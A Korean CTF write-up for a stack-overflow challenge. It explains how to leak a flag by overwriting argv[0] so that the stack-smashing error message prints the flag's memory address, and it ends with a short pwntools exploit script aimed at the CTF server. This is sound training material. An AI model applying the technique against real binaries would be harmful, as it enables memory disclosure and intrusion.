Download: vuln
64bit ELF, 보호기법이 꾹꾹 채워져있다.
IDA로 분석해보면 바로 눈에 들어오는, exploitable 한 특이점은 보이지 않는다. gets 함수로 BOF 공격이 가능하나 SSP가 걸려있어 ROP를 수행하려면 canary leak을 해야 하는데, leak을 하기 위한 코드도 보이지 않는다.
하지만 한 가지 눈여겨 볼 점이 있다. readFlag 함수를 살펴보면, 일단 파일에서 flag를 읽어 프로그램 어딘가의 메모리 (0x601060)에 적재시킨다는 점이다.
canary가 변조되는 경우 (xor rcx, fx:0x28; 후 ZF가 set 되지 않는 경우) __stack_chk_fail을 call 해 프로그램을 종료시킨다. main에서 이미 힌트를 주고 있는데, 위의 decompile 된 main 함수의 13번째 줄을 보면 *argv를 넘기면서 어떤 특정 메모리의 값을 넘겨준다는 점이다.
stack_chk_fail의 구조를 살펴보면, 다음과 같다.
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
__fortify_fail은 argv[0]을 인자로 쓴다는 점을 알 수 있고, 이 값은 스택 저 밑의 어딘가에 있을 것이다. 만약 입력의 크기를 매우 늘리면, 이 함수가 차지하는 stack 영역 역시 corrupt 되면서 stack smashing detected 메시지조차 출력되지 않는 시점이 올 것이다.
Bisection Method로 적절한 dummy bytes의 크기를 구하고, 끝에 flag의 주소 0x601060을 써서 flag 값을 leak 하면 된다.
from pwn import *
import sys
if len(sys.argv) == 1 :
p = process('./vuln')
else :
p = connect('icewall-ctf.kr', 10206)
# Addr
flag = 0x601060
payload = 'A'*0x108
payload += p64(flag)
p.sendlineafter('?\n', payload)
print p.recvline()
p.interactive()
[Reference]
'ICEWALL' 카테고리의 다른 글
[System] note / 450 (0) | 2019.07.20 |
---|---|
[System] babyheap / 400 (0) | 2019.07.20 |
[System] libc_leak / 250 (0) | 2019.07.19 |
[System] typing_practice / 200 (0) | 2019.07.19 |
[System] fsb32 / 150 (0) | 2019.07.19 |